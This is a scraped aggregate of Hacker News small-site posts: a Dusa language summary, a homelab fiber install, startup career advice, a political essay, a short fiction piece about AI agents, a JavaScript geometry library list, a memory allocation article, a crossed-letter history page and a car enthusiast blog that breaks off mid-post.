  • Dusa Programming Language (Finite-Choice Logic Programming)

    Posted: 2025-01-18 15:45:26

    The Dusa programming language introduces a novel approach to logic programming centered around the concept of "finite-choice logic." Unlike traditional Prolog, which relies on potentially infinite search spaces through unification and backtracking, Dusa constrains its logic to operate within explicitly defined finite domains. This fundamental difference results in several key advantages, primarily concerning determinism and performance predictability.

    Dusa programs define predicates and relations over these finite domains, similar to Prolog. However, instead of allowing variables to unify with any possible term, Dusa restricts variables to a pre-defined set of possible values. This ensures that the search space for solutions is always finite and, therefore, all computations are guaranteed to terminate. This deterministic nature simplifies reasoning about program behavior and eliminates the risk of infinite loops, a common pitfall in Prolog. It also makes performance analysis more straightforward, as the maximum computation time can be determined based on the size of the domains.

    The language emphasizes simplicity and clarity. Its syntax draws inspiration from Prolog but aims for a more streamlined and readable structure. Dusa offers built-in types for common data structures like sets and maps, further enhancing expressiveness and facilitating the representation of real-world problems. Functions are treated as relations, maintaining the declarative style characteristic of logic programming.

    Dusa prioritizes practical applicability and integrates with the wider software ecosystem. It offers interoperability with other languages, particularly Python, allowing developers to leverage existing libraries and tools. This interoperability is crucial for incorporating Dusa into larger projects and expanding its potential use cases.

    The documentation highlights Dusa's suitability for various domains, especially those requiring constraint satisfaction and symbolic computation. Examples include configuration management, resource allocation, and verification tasks. The finite-choice logic paradigm makes Dusa particularly well-suited for problems that can be modeled as searches over finite spaces, offering a declarative and efficient solution. While still in its early stages of development, Dusa presents a promising approach to logic programming that addresses some of the limitations of traditional Prolog, focusing on determinism, performance predictability, and practical integration.

  • ]]>
    https://hackslash.org/stories/ hacker-news-small-sites-42750270 Sat, 18 Jan 2025 18:28:50 GMT
    <![CDATA[Getting fiber between the house and garage]]> thread link) | @thomasjsn
    January 18, 2025 | https://blog.cavelab.dev/2025/01/fiber-to-garage/ | archive.org

    Getting network to the garage is a story with many chapters. I started out with Wi-Fi mesh, then CAT6 — and now, finally, fiber!

    Story time

    I knew we needed to get new power cables to the garage at some point, and could use that occasion to put down conduits for fiber as well. But in July 2021, one year after we moved in, I got tired of waiting, and dug CAT6 between the house and garage.

    Then; another year later, in August 2022, we did install the new power cables — and put down a conduit for fiber. Early 2023 I bought a 200 ft (61 m) roll of single mode fiber, and a used D-Link DGS-1210-10P PoE switch.

    But it wasn’t until May 2024 that we finally pulled the fiber through the conduit between the house and garage. The long delay was primarily because I was unsure how to do it, and then put it off.

    The fiber

    I didn’t know what kind of fiber to get — my initial idea was to use multi-mode with duplex LC connectors, like I used between the basement and attic. But I wasn’t confident that it would survive being pulled through such a long conduit, about 25 meters.

    They had lots of nice fibers on FS.com, but with shipping, VAT, and the customs fee it got quite expensive. Then I learned that Ubiquiti had an affordable single-mode LC fiber cable, that I could source locally 🙂

    Ubiquiti FC-SM-200, it is 200 ft (61 meter) and, according to the datasheet, have the following spec:

    • Outdoor-Rated Jacket with Ripcord
    • Integrated Weatherproof Tape
    • Kevlar Yarn for Added Tensile Strength
    • Outer Diameter of Cable: 6.0 ± 0.2 mm
    • Six-Strand Single-Mode (G.657.A2)
    • Outer Diameter of Fiber Strand: 0.25 mm Nominal
    • Insertion Loss
      • 1310 nm: ≤0.5 dB/km
      • 1550 nm: ≤0.5 dB/km

    I placed and order and voilà — a few days later I was the proud owner of a roll of single mode fiber 🥳 It is also available in 100 ft (30 meter), but that wasn’t long enough for my fiber run.

    Roll of fiber — Single‑Mode LC Ubiquiti FC-SM-200

    The only single-mode fiber SFP transceivers I had available, was a set of Ubiquity UF-SM-1G-S — 1 Gbit/s bi-directional. I tested the fiber between my MikroTik CRS317-1G-16S+ core switch, and the used D-Link DGS-1210-10P PoE switch I picked up for cheap.

    Both switches accepted the SFP transceiver, and the link LED went green 👍 I have yet to find an SFP/SFP+ transceiver that MikroTik wont accept.

    The conduit

    To prepare for pulling the fiber I first had to get my fish tape through the conduit. But my fish tape is only 20 meter, and the conduit is about 25 🫤

    So I tied a pull string onto the end of the fish tape, and a piece of plastic onto the end of the pull string. Then used a vacuum cleaner in the basement while feeding the pull string and fish tape from the garage.

    The vacuum cleaner pulled the piece of plastic, and pull string, all the way through. Ready to pull some fiber!

    And then absolutely nothing happened until May 2024, one year later…

    Pulling the fiber

    I knew it would be a challenge to get the LC connectors through the 25 mm conduit. My initial plan was just to cut some of the fibers, I didn’t need all six, three would be enough — TX, RX and one spare.

    But instead of doing that, I bent the fibers back and stacked the LC connectors along the outer jacket. The pull cord was secured to the outer jacket with duct tape. Then I wrapped everything in plastic wrap, and electrical tape.

    Unfortunately I forgot to take any photos of that process — I was too focused on the task.

    Illustration of fiber arrangement during cable pull

    After wrapping everything; I was 100% certain that this would never work — that all the fiber strands would break during the pull. I told my wife, who was assisting with the pull: “let’s just forget about it, this will never work”.

    To which she replied: “you already have the fiber, might as well try it”. A good points indeed — so we proceeded.

    I used some wire pulling lubricant at the beginning and the pull went smooth, without much resistance 😃 — at first 😞

    The conduit runs pretty straight between the house and garage, but there is a bend when it goes into the ground — and after clearing the cobblestone by the house.

    There are also some slight turns, both in the basement and the garage.

    As the length of fiber in the conduit increased — so did the resistance. When the fiber finally reached the garage; progress ground to a halt. My wife pushed the fiber in the basement, and I pulled from the garage.

    I pulled so hard I was certain the entire cable would snap right off. By some divine miracle the fiber didn’t snap, and we managed to pull enough through in the garage to reach the network cabinet.

    Looking back; what I should have done, through the entire process — was to keep applying wire pulling lubricant. A generous amount at the start was not enough. As we fed the fiber through, the lubricant slowly wore off in the bends — increasing the friction. Lesson learned!

    Alright; but did the fiber still work? I tested each fiber strand, between the D-Link switch in the garage, and the MikroTik in the basement. I checked the interface SFP information for each test, and wrote down the TX and RX power.

    Screenshot from MikroTik switch, interface SFP information

    These were the results:

    • Brown: 💀
    • Orange: 1 Gbps, -6.147 dBm -7.904 dBm
    • Grey: 1 Gbps, -6.196 dBm -7.447 dBm
    • White: 1 Gbps, -6.147 dBm -7.535 dBm
    • Blue: 1 Gbps, -6.147 dBm -7.113 dBm
    • Green: 1 Gbps, -6.219 dBm -7.276 dBm

    One fiber strand was completely dead, the brown one — but looking at my fantastic illustration, that makes sense. The brown fiber was in the front, and probably took quite a beating going first through the corrugated conduit.

    All the other strands were OK, with similar dBm values. The task execution wasn’t ideal, but the fiber was through 😎

    Connectivity

    With a working fiber between the house and garage, it was time to put it to use. This janky setup is temporary. I’ve just done what was needed to get the fiber operational.

    So; for now, the fiber is connected to a MikroTik CRS305-1G-4S+ switch placed on network patch panel above the homelab rack. I’ve zip-tied the fiber to the wall mounted rack.

    MikroTik CRS305-1G-4S+ on homelab patch panel

    A large roll of excess fiber hangs on the homelab rack…

    And the fiber itself hangs in the basement ceiling, using the lamp to keep it suspended — before entering the conduit to the garage.

    On the garage side it looks better; the fiber comes out by the sub panel and runs together with some electrical cables to the network cabinet.

    The D-Link DGS-1210-10P PoE switch is installed in the garage network cabinet.

    Garage network cabinet

    Removing the old

    The old CAT6 cable between the house and garage, that I spent so much time installing, is now removed…

    It wasn’t the prettiest thing, running up the support beam for our 2nd floor veranda — and it was in the way for some added bracing that was put in when we got glass railings installed.

    My wife was very happy when it was removed and the support beam painted 🙂

    I was able to reuse the 40 m CAT6 cable for two outdoor CCTV camera runs.

    Future plans

    First and foremost; I’m need to clean up the fiber run in the basement. Hang it together with the other network cables, find a suitable place for the excess fiber, and terminate it in the patch panel — like my other CAT6 and fiber runs.

    And then get the bandwidth bumped to 10 Gbit 🤘 I already have the SFP+ transceivers. I just need to move the MikroTik CRS305-1G-4S+ switch out to the garage, and patch the fiber into the MikroTik CRS317-1G-16S+ switch in my homelab rack.

    Currently; I don’t really need the 10 Gbit bandwidth, but that will change once the shed renovation is complete. We have some plans for the shed — which include 10 Gbit network 📺 🎮

    🖖

    ]]>
    https://blog.cavelab.dev/2025/01/fiber-to-garage/ hacker-news-small-sites-42750114 Sat, 18 Jan 2025 18:07:41 GMT
    <![CDATA[The startup engineering myths that'll burn you out fast]]> thread link) | @thehrfairplay
    January 18, 2025 | https://www.behindhrdoors.com/p/startup-engineering-myths | archive.org

    Imagine you’re standing at the edge of a bustling tech frontier.

    The promise of innovation, cutting-edge projects, and the allure of startup culture gleam like the gold rush of yesteryear.

    But before you take that first step, the whispers of doom reach your ears:

    • Startups will burn you out

    • Engineers are disposable here

    • There’s no loyalty or stability

    It’s enough to make even the bravest techie hesitate.

    But here’s the thing:

    These myths—yes, myths—might not just be wrong.

    They keep brilliant minds stuck in fear and hesitation.

    If you’ve ever felt that twinge of doubt, you’re not alone.

    Let’s untangle these misconceptions and uncover the truth about engineering at startups.

    Myth 1: Startups Are Burnout Machines

    We’ve all seen the headlines: “Tech workers report soaring burnout rates,” or “Startups chew you up and spit you out.”

    Burnout is real, and ignoring it is a recipe for disaster—both for employees and employers.

    Forbes recently highlighted how tech engineers and executives often clash on how to tackle productivity, burnout, and AI adoption.

    But does this mean every startup is a fast track to mental and physical exhaustion?

    Not necessarily.

    The reality is that burnout stems more from poor workplace practices than the “startup” label itself.

    Some startups are chaotic and poorly managed, sure, but many others are hyper-focused on building sustainable, supportive cultures.

    Founders are becoming more aware of the importance of mental health—a shift Sifted discusses in its analysis of how 2024 could be the year mental health in startups takes center stage.

    This cultural shift is your ally.

    As an engineer, you have more agency than you think.

    Look for red flags during interviews.

    Ask pointed questions about work-life balance, overtime expectations, and mental health resources.

    You’re not a passenger; you’re the driver.

    Myth 2: Engineers Are Disposable

    Somewhere along the line, startups got a bad rep for treating engineers like cogs in a wheel.

    Maybe you’ve heard horror stories about abrupt layoffs or engineers being overlooked for decision-making roles.

    But here’s the truth: Your role as an engineer is evolving, and you hold more power than you realize.

    First Round Review’s analysis on engineering loyalty and longevity shows that retention challenges often arise when engineers feel undervalued or alienated from the company’s vision.

    Translation?

    When startups fail to integrate engineers into the core mission, they’re the ones losing out—not you.

    You bring essential skills to the table—problem-solving, innovation, and technical expertise—that are the lifeblood of any tech venture.

    The startups worth your time are those that recognize this and actively involve engineers in strategic conversations.

    When scouting for your next role, prioritize companies that respect and empower their engineering teams.

    Myth 3: Startups Lack Stability

    “Why would I risk it all for a job that might not even last a year?”

    It’s a fair question.

    Startups can be volatile, and not every one of them survives.

    But stability doesn’t have to mean stagnation.

    Think about it:

    Would you rather have a predictable but unremarkable career, or one that challenges you, sharpens your skills, and offers opportunities to grow in ways you never imagined?

    Stability in startups comes not from the company’s age but from its culture, vision, and leadership.

    • Are they transparent?

    • Are they solving a real problem?

    • Are they building something you can believe in?

    Joining a startup isn’t about betting your entire career on one company; it’s about betting on yourself.

    The experience you gain—learning to pivot, adapt, and innovate—is the kind of stability that’ll carry you through any industry shift.

    Myth 4: You Have to Know Everything

    If you’ve ever scrolled through a job description and thought, “I can’t apply for this; I don’t tick every box,” you’re not alone.

    But startups thrive on learning and iteration.

    Nobody expects you to walk in as a finished product.

    Core skills matter more than a laundry list of qualifications.

    Are you curious, collaborative, and resilient?

    Can you communicate effectively?

    These traits often outweigh technical know-how because startups need problem-solvers who can adapt to shifting challenges.

    The best startups will invest in your growth, offering mentorship and the chance to learn on the job.

    Remember:

    It’s not about being perfect.

    It’s about being hungry to learn and contribute.

    Myth 5: Startup Culture Is Toxic

    Ping-pong tables, all-night hackathons, and overly hyped “family vibes” can make startup culture feel like a stereotype—one you’d rather avoid.

    But this caricature misses the mark.

    Founders and leaders are more aware than ever of the need for inclusivity, respect, and boundaries.

    Toxic behavior isn’t exclusive to startups; it’s a company-wide issue.

    The difference lies in how leaders address it.

    When evaluating a startup’s culture, look for transparency and accountability.

    • Are they open about challenges?

    • Do they treat employees as partners rather than mere resources?

    A great startup culture amplifies your ability to innovate while respecting your well-being.

    Rewriting the Narrative

    The myths surrounding engineering at startups are persistent, but they’re not insurmountable.

    They thrive on fear and exaggeration, keeping talented engineers like you from seizing opportunities that could define your career.

    By asking the right questions and aligning yourself with the right companies, you can find roles that challenge and reward you.

    Your journey into startup engineering doesn’t have to be a leap into the unknown.

    It can be a calculated step toward growth, purpose, and impact.

    Have you faced any of these myths in your own career?

    What’s held you back, or what helped you push forward?

    I’d love to hear your stories.

    Drop a comment below, share this with someone who needs to read it, and let’s keep the conversation going.

    ]]>
    https://www.behindhrdoors.com/p/startup-engineering-myths hacker-news-small-sites-42750095 Sat, 18 Jan 2025 18:04:06 GMT
    <![CDATA[(Retracted)]]> thread link) | @potatocrisps
    January 18, 2025 | https://www.revoluciana.net/after-monday-fear-and-action-in-the-face-of-uncertainty/ | archive.org

    The World After Monday

    There will be a world before Monday, and a world after. We can all feel it. It hovers in the air around us. It infuses our conversations. It even seasons our food, the way it changes how we feel and how it disrupts our senses as we go about our lives as we attempt to grasp hold onto any sense of security, knowing there is no such thing as normality. You don't need to be marginalized to feel what's in the air, and the concern that it smells flammable.

    This isn't the calm before a storm, as you keep telling yourself. The storm already began, and deep down you know it.

    You aren't paranoid. This is real.

    How bad will it get? It will be bad. Again, you know this.

    For some it will be far worse than others. This will not simply blow over, and this will not be the same as the last time.

    It's okay to accept this. You're not tricking yourself.

    And it's okay to not be okay.

    It's okay to not be okay.

    If you're a target of the new regime, you are already likely aware of the dangers you face and the challenges ahead. You've likely begun preparing in whatever way that you can. I hope you have.

    For those of you less marginalized or with opportunity and privilege, what have you done to prepare? You've been listening to your friends, your family, as they express their terror at the impending forces pushing them closer and closer to the point where their backs will be against the wall.

    You've told them

    I support you
    You are valid
    I love you
    It's going to be okay
    It probably won't be that bad

    You acknowledge their pain. Their fear. You even believe them. You do believe them, right?

    The words felt hollow as you said them, anyway. Maybe, you feel, you just need to find the right words. That's what it must be, you decide. The words.

    But what is your plan?
    What have you done to prepare?

    You've taken stock. You've assessed your skills and abilities and you know a few things that you could offer to resistance and to assistance. Of course you've done this. The day is almost upon us. How could you not?

    You know your capabilities. You're a fighter. You're a healer. You're a protector. You're a rogue. You've already decided this, just like you were picking a character class for a video game. Because it still feels like a fantasy and that none of these fears will actually come to fruition, right?

    But more than anything, you've made hard decisions about what you are willing to risk. What you are willing to sacrifice.

    You've done this. Of course you have. That's what allies do, or rather, it's what accomplices do, and you've decided it's not enough to be an ally, you need to be an accomplice. And you remember that none of us are free until all of us are free.

    And when people die– and make no mistake, people will die, as countless already have– you will know that thoughts and prayers are nothing. That even if you hold to your faith and prayers despite my own fervent apostasy, you recognize the words "faith without works is dead," and that nothing in your belief structure or faith is anything without putting it into action.

    You know deeply that nothing will get better if someone doesn't do something. You remember the words of the Transcendentalists. Of course you do, everyone reads the works of the Transcendentalists. You remember that Civil Disobedience means that no one person must do everything, but everyone has a responsibility to do something.

    You know that all of the pain and harm and terror in the world is interconnected. It is woven together and must be unwoven, and while you can't unravel it all on your own, you can work on the parts that lie before you. It is all the same tapestry. It is all the same tapestry.

    There is a world today that is all but faded. A new world will emerge come Monday. Or will it?

    Because you know that the old world is dying. You know that now is the time of monsters and even the hope of a new world struggles to be born.

    But you know that someone must do something.

    You're someone.

    Be ready to do something.

    Be ready to do something.

    Or else, what is it all for?


    no ends, only means

    ]]>
    https://www.revoluciana.net/after-monday-fear-and-action-in-the-face-of-uncertainty/ hacker-news-small-sites-42749634 Sat, 18 Jan 2025 16:57:01 GMT
    <![CDATA[Agents. It is February, 2026]]> thread link) | @tiivik
    January 18, 2025 | https://rainer.im/blog/agents | archive.org

    It’s February 2026. Ember woke up to the gentle hum of the air conditioner outside her window. She had fallen asleep at her desk right after sending the team the remaining action items blocking tomorrow’s product launch.

    Deciding to head straight to the office, she arrives and finds Liam, the engineering lead, reviewing the latest updates to the product. First cup of coffee brewed, she settles in next to him.

    Her first sip is interrupted by a Slack message from Ruth. Ember lazily skims through Ruth’s message. Apparently, the team had done an outstanding job since last night.

    She opens the project dashboard to find it bustling with updates. Every action item she had listed last night is either completed or awaiting the team’s review. Looks like seven pull requests across backend services were merged and deployed, with three more waiting for approval. Ember continues to approve two of them to get the landing page copy updated and notices they’re also running new ad copies and creatives. Six new suggestions have appeared on the board, ranging from minor bugs to strategic ideas to pursue. She sends out four of the email drafts that had popped into her inbox, leaving the rest for later.

    “How’s the backend looking like? Are we getting ready?” she asks Liam.

    “Meticulous,” he replies with a grin on his face, scrolling through the commits in the repositories. “The bugs from last night are gone, and the two features seamlessly integrated. It’s as if the entire team worked through the night.” The foundational work was done.

    As the sun climbed higher, Ember strolled to the kitchen for another coffee. All the pieces were coming together. Tomorrow the world would see what they had built, and nothing would have felt more surreal than waking up to finding it nearly complete.

    ✴︎

    The world seems to be converging on the definition of AI agents. I like to think about them as replacing traditional IF-ELSE statements in your code with large language model (LLM) calls. And by giving models capable of complex reasoning sufficient context, memory, tools – and letting them run in the background in an “ambient” way – we’re stepping into an exciting new era.

    Who knows how our lives will change when artificial intelligence understands more about the world around us, thinks multiple steps ahead and takes action on our behalf, with our supervision.

    ]]>
    https://rainer.im/blog/agents hacker-news-small-sites-42749503 Sat, 18 Jan 2025 16:38:56 GMT
    <![CDATA[2D Geometry Libraries for JavaScript (2021)]]> thread link) | @thunderbong
    January 18, 2025 | https://www.akselipalen.com/2021/06/10/2d-geometry-libraries-for-javascript/ | archive.org

    Here is a collection of javascript programming libraries that focus on 2D plane geometry. The collection aims to map the most successful of such libraries and thus the collection is not complete and exhaustive in any way. Each library is associated with a link to the project homepage and my brief comments. Libraries that focus only on some aspect of 2D geometry are listed separately below, as also are the libraries with focus on geospatial (spherical) geometry. Libraries with focus on 3D or above are skipped altogether.

    General-purpose 2D geometry libraries

    The following libraries provide a wide set of basic geometric shapes and tools to manipulate them but may lack advanced features such as spatial indexing.

    • Flatten-js – Good supply of basic geometric shapes such as point, vector, circle, and affine transformation matrix. Nicely separates the concepts of point and vector. Object-oriented design. Almost 200 stars at GitHub (June 2021). First commit in 2017.
    • Geometric – Minimalistic. Focus on points, line segments, and polygons. Object-oriented design. Over 600 stars at GitHub (June 2021). First commit in 2018.
    • Euclid.ts – Basic geometric shapes such as point, rectangle, ellipse, line, and polygon. Only light treatment of affine geometry and transformations. Immutable, object-oriented design. Written in TypeScript. First commit in 2020.
    • ts-2d-geometry – Basic geometric shapes and math objects, such as point, vector, 3×3 matrix, and affine transformation. Immutable, object-oriented design. Written in TypeScript. First commit in 2020.

    Libraries that focus on some aspect of 2D geometry

    The list below consists of JavaScript libraries with a specific focus on some aspects of 2D geometry and intentionally lack a full suite of basic geometric shapes.

    Collision detection:

    • detect-collisions – Detect collisions between points, circles, polygons
    • SAT.js – Detect collisions between convex shapes

    Spatial indexing:

    Transformations:

    • nudged – Estimate affine transformations between point sets
    • projection-3d-2d – Perspective transformation between 3D and 2D
    • transformation-matrix – Create and manipulate affine transformation matrices
    • affineplane – Projections between affine 2D planes for various geometries

    Other:

    Libraries that focus on geospatial geometry

    Geometry libraries that focus on spherical surfaces instead of pure 2D planes. We only list them here for reference.

    Physics engines

    In addition to physical simulation capabilities in 2D, these libraries have a good suite of geometric shapes and collision detection tools.

    Other libraries worth to mention

    These libraries are not focused only to pure 2D geometry but have 2D tools worth to mention.

    • Paper.js – Object model for Canvas with a suite of 2D geometry objects
    • Tapspace – Zoomable UI library with a suite of 2D geometries and transformations

    Conclusion

    There are lots of 2D geometry libraries out there. Some provide a wide set of basic geometric shapes such as points, vectors, and circles while others are dedicated to certain algorithm-heavy features, such as spatial indexing. Common to all is the fact that every lib has its unique approach to geometry.

    I will update the lists as new promising libraries reach my attention.

    Hi! I am a creative full-stack web developer and entrepreneur with strong focus on building open source packages for JavaScript community and helping people at StackOverflow. I studied information technology at Tampere University and graduated with distinction in 2016. I wish to make it easier for people to communicate because it is the only thing that makes us one.

    ]]>
    https://www.akselipalen.com/2021/06/10/2d-geometry-libraries-for-javascript/ hacker-news-small-sites-42749472 Sat, 18 Jan 2025 16:34:17 GMT
    <![CDATA[Thinking About Memory and Allocation]]> thread link) | @smartmic
    January 18, 2025 | https://www.gingerbill.org/article/2019/02/01/memory-allocation-strategies-001/ | archive.org

    Thinking About Memory and Allocation

    Memory allocation seems to be something many people struggle with. Many languages try to automatically handle memory for you using different strategies: garbage collection (GC), automatic reference counting (ARC), resource acquisition is initialization (RAII), and ownership semantics. However, trying to abstract away memory allocation comes at a higher cost than most people realize.

    Most people are taught to think of memory in terms of the stack and the heap, where the stack is automatically grown for a procedure call, and the heap is some magical thing that you can use to get memory that needs to live longer than the stack. This dualistic approach to memory is the wrong way to think about it. It gives the programmer the mental model that the stack is a special form of memory1 and that the heap is magical in nature.

    Modern operating systems virtualize memory on a per-process basis. This means that the addresses used within your program/process are specific to that program/process only. Due to operating systems virtualizing the memory space for us, this allows us to think about memory in a completely different way. Memory is not longer this dualistic model of the stack and the heap but rather a monistic model where everything is virtual memory. Some of that virtual address space is reserved for procedure stack frames, some of it is reserved for things required by the operating system, and the rest we can use for whatever we want. This may sound similar to original dualistic model that I stated previously, however, the biggest difference is realizing that the memory is virtually-mapped and linear, and that you can split that linear memory space in sections.

    Virtual Memory

    When it comes to allocation, there are three main aspects to think about2:

    • The size of the allocation
    • The lifetime of that memory
    • The usage of that memory

    I usually imagine the first two aspects in the following table, for most problem domains, where the percentages signify what proportion of allocations fall into that category:

    Size Known Size Unknown
    Lifetime Known 95% ~4%
    Lifetime Unknown ~1% <1%

    In the top-left category (Size Known + Lifetime Known), this is the area in which I will be covering the most in this series. Most of the time, you do know the size of the allocation, or the upper bounds at least, and the lifetime of the allocation in question.

    In the top-right category (Size Unknown + Lifetime Known), this is the area in which you may not know how much memory you require but you do know how long you will be using it. The most common examples of this are loading a file into memory at runtime and populating a hash table of unknown size. You may not know the amount of memory you will need a priori and as a result, you may need to “resize/realloc” the memory in order to fit all the data required. In C, malloc et al is a solution to this domain of problems.

    In the bottom-left category (Size Known + Lifetime Unknown), this is the area in which you may not know how long that memory needs to be around but you do know how much memory is needed. In this case, you could say that the “ownership” of that memory across multiple systems is ill-defined. A common solution for this domain of problems is reference counting or ownership semantics.

    In the bottom-right category (Size Unknown + Lifetime Unknown), this is the area in which you have literally no idea how much memory you need nor how long it will be needed for. In practice, this is quite rare and you ought to try and avoid these situations when possible. However, the general solution for this domain of problems is garbage collection3.

    Please note that in domain specific areas, these percentages will be completely different. For instance, a web server that may be handling an unknown amount of requests may require a form of garbage collection if the memory is limited or it may be cheaper to just buy more memory.

    For the common category, the general approach that I take is to think about memory lifetimes in terms of generations. An allocation generation is a way to organize memory lifetimes into a hierarchical structure4.

    • Permanent Allocation: Memory that is never freed until the end of the program. This memory is persistent during program lifetime.

    • Transient Allocation: Memory that has a cycle-based lifetime. This memory only persists for the “cycle” and is freed at the end of this cycle. An example of a cycle could be a frame within a graphical program (e.g. a game) or an update loop.

    • Scratch/Temporary Allocation: Short lived, quick memory that I just want to allocate and forget about. A common case for this is when I want to generate a string and output it to a log.

    Memory Hierarchies

    As I previously stated, the monistic model of memory is the preferred model of memory (on modern systems). This generational approach to memory orders the lifetime of memory in a hierarchical fashion. You could still have pseudo-permanent memory within a transient allocator or a scratch allocator, as the difference is thinking about the relative usage of that memory with respect to its lifetime. Thinking locally about how memory is used aids with conceptualizing and managing memory — the human brain can only hold so much.

    The same localist thought process can be applied to the memory-space/size of which I will be discussing in later articles in this series.

    In languages with automatic memory management, many people assume that the compiler knows a lot about the usage and lifetimes of your program. This is false. You know much more about your program than the compiler could ever know. In the case of languages with ownership semantics (e.g. Rust, C++11), the language may aid you in certain cases, but it struggles to know (if it is at all possible) when it should pre-allocate or free in bulk. This is compiler ignorance can lead to a lot of performance issues.

    My personal issue with regards to ownership semantics is that it naturally focuses on the ownership of single objects rather than in systems5. Such languages also have the tendency to couple the concept of ownership with the concept of lifetime, which are not necessarily linked.

    In this series, I will discuss the different kinds of memory models and allocation strategies that can be used. These are the topics that will be covered:

    • Sequential (Contiguous) Allocations
    • Virtual Memory
    • Out of Order Allocators and Fragmentation
    • malloc
    • Hierarchies of Allocators
    • Automatic Lifetime Allocations
    • Allocation Grouping and Mental Models
    ]]>
    https://www.gingerbill.org/article/2019/02/01/memory-allocation-strategies-001/ hacker-news-small-sites-42749452 Sat, 18 Jan 2025 16:29:33 GMT
    <![CDATA[A 'crossed' letter. Why did they write like this?]]> thread link) | @Bluestein
    January 18, 2025 | https://www.earsathome.com/webgil/xltr.html | archive.org

    Why did they write like this?


    Prior to the introduction of the Penny Postage in 1840, one of the factors affecting the cost of posting a letter was whether it was a single sheet of paper. Two sheets would double the cost. That might not sound like a big problem, looking from the year 2001, but at that time the cost of sending letters had escalated to such an extent that if you could write twice on the same sheet of paper, you could in effect, send two sheets for the cost of one. We have actually got one letter that was written on 3 times — and it is a nightmare trying to decipher that one!
    This letter I have scanned, is dated 25th April, 1859, (which was EasterSunday), and if it is printed off you read it first the way you would normally read a letter, ignoring the cross-written lines, then you turnthe page 90 degrees, and read the cross writing, ignoring the first lines.It looks impossible at first glance, but once you get the knack of blocking out the different lines, it becomes legible.

    The transcription begins:

    My Dear Herb
    I have treated you very badly in not writing but the truth is I have been so hard put for time that I have not been able to do so. Your letter reached me, about a month after it was written. I hope this will find you in Rome. Will you tell Samuel that I have not got time to write and that I am sorry to say I shall not be able to get abroad this year after all and so unless he can get to England, I shall not have the pleasure of seeing him. I suppose we shall see you up here next term at least at Oxford. You already know my eyes have been bad and have thrown me back considerably, I am very much.......

    the crossed lines continue from the other side of the letter....

    feet deep here and I very nearly killed myself the other day up et....

    Click on the image to see a larger version of the letter.

    If you have a question about this letter, contact Eunice

    If you would like see see the rest of the letter and the article Follow this link.

    After you have read it, use the Back arrow on your browser to return to this page.

    Home

    ]]>
    https://www.earsathome.com/webgil/xltr.html hacker-news-small-sites-42749397 Sat, 18 Jan 2025 16:20:56 GMT
    <![CDATA[McLarens and CarPlay]]> thread link) | @ilikepi
    January 18, 2025 | https://blog.adambell.ca/posts/20250116-McLarens-And-CarPlay/ | archive.org

    For as long as I can remember, I've always been a fan of motorsport. Not the one where you turn left for 400 laps, I mean like the other racing: Formula 1, Le Mans, IndyCar, etc. The fact that there's teams dumping hundreds of millions of dollars of research into the sole goal of building the fastest car, is so pure and simple. The goal itself is simple, but the actual requirements to build something that's capable of going more than 225 miles per hour for 50+ laps straight and not fall apart is the hard part.

    This, as well as playing copious amounts of Need for Speed, Forza, and Gran Turismo, are also the reason I’ve always been drawn to driving sports cars (particularly British, and mid-engine), and of those, those made by vendors that had a significant investment in motorsport. My first roadster was a 2006 Lotus Elise in Solar Yellow. It was so fun to zip around in. It was a super lightweight mid-engine convertible go kart, that also happened to be legal for the road. Built by a company with a legendary presence in Formula 1, it prioritized lightness and handling above all else, especially cost. The steering feel of that car was very direct (no power steering, just raw input from the road), and the interior had basically nothing above the bare essentials (except maybe climate controls, but nothing else, no carpets, not even power windows!).

    It was with that, that I experienced some of my first track days racing with other Lotus owners in the Bay Area (many of which were extremely talented and humbled me into knowing just how much I was lacking in the experience department). However, being the Bay Area, it’s riddled with people who don't know how to drive (especially in the rain), and due to the Elise being basically a single fiberglass shell, it was actually really stressful to drive. Wicked fun, but if anyone ever tapped it faster than 2mph, it’d basically be a write off (since replacing the single clamshell cost more than the car itself).

    elise

    It was for this reason that I eventually shifted to a Lotus Evora 400. The Evora lineup was meant to act as a compliment to the Elise and the Exige. Where the Elise and Exige were primarily focused on being as raw as possible, the Evora was more focused on being a useable road car… that could also put in some wicked lap times. That was actually one of the things that most surprised me when I first drove it, even though the interior was more comfortable, the handling and feel was never lost, in fact it felt just as good as my Elise. A slightly roomier cabin, but still a two seater with an even faster 0-60 (no convertible though, sadly). It was with the Evora that I learned almost everything I know nowadays about spirited driving and track days. Having put tons of miles into that car, driving it every day for ~5 years, I learned to appreciate all it had to offer (and all the extremely strange quirks that went with it). I still got to hang with the Lotus Club, that community really does have some of the nicest people I’ve ever met / learned from; nothing but pure passion and appreciation for motorsport. The amount of confidence you get driving these Lotus cars in corners (due to them being both mid-engine and having a fantastic center of gravity), just makes you want to push it more and more. From steadily improving my times at Thunderhill and Sonoma, to conquering the Corkscrew at Laguna Seca in the rain, I learned a lot about car control, braking, and improving entry / exit speeds.

    evora

    I'll Have What He's Having

    A couple summers ago though, my family ended up renting my dad a few laps in a Ferrari 458 as a gift for his birthday. Growing up he was always fixing cars in the garage (this is also probably a huge reason why I’m so into cars nowadays), so it felt fitting to let him experience something a little faster than the Volkswagens he would drive on the daily. Upon booking the rental for him, I also noticed a few other cars you could rent: a Porsche 911 GT3 RS, a Lamborghini Huracan, and a McLaren 720S.

    It was at this point where I had the brilliant idea to also rent myself another mid-engine British race car.

    McLaren has always been my number one car manufacturer (with Lotus as a close second), with another legendary presence in motorsport, especially Formula 1. Ever since the McLaren F1 launched at around the time I was born, it was the dream car I would always pick in every single racing game and still to this day is my all-time favourite car. This dream will still sadly probably stay a dream as buying one of the ~106 available globally nowadays will probably set you back at least 20 million dollars (I'm accepting donations if anyone's inclined!).

    The McLaren F1 was built with the goal to build the best driving car ever, with no compromises. Turns out, their framework for building it worked so well that they ended up building arguably the best car of all time and held the record for the fastest road car for nearly 13 years straight (reaching a top speed of 240mph). The car was so good, in fact, that they slightly modified it, called it the McLaren F1 GTR, entered 4 of them into the 24 Hours of Le Mans, and then proceeded to win first, third, fourth, and fifth place at their first Le Mans ever. This sadly will probably never happen again as most, if not all, cars in that race nowadays are purpose-built for Le Mans vs. the McLaren F1, a road car being so good it could basically roll up to the start line unchanged. Speaking of wins in motorsport, they're also one of the only manufacturers ever to win the Motorsport Triple Crown (winning Le Mans, the Indianapolis 500, and the Monaco Grand Prix… with Ayrton Senna no less, one of the greatest Formula 1 drivers of all time). The livery of Senna's MP4/6 still lives rent-free in my head and I still cheer them on each year in Formula 1.

    mclaren<em>technology</em>center

    Seeing as though I would have an opportunity to drive one of McLaren's other cars and experience what goes into their DNA, I decided to rent the 720S.

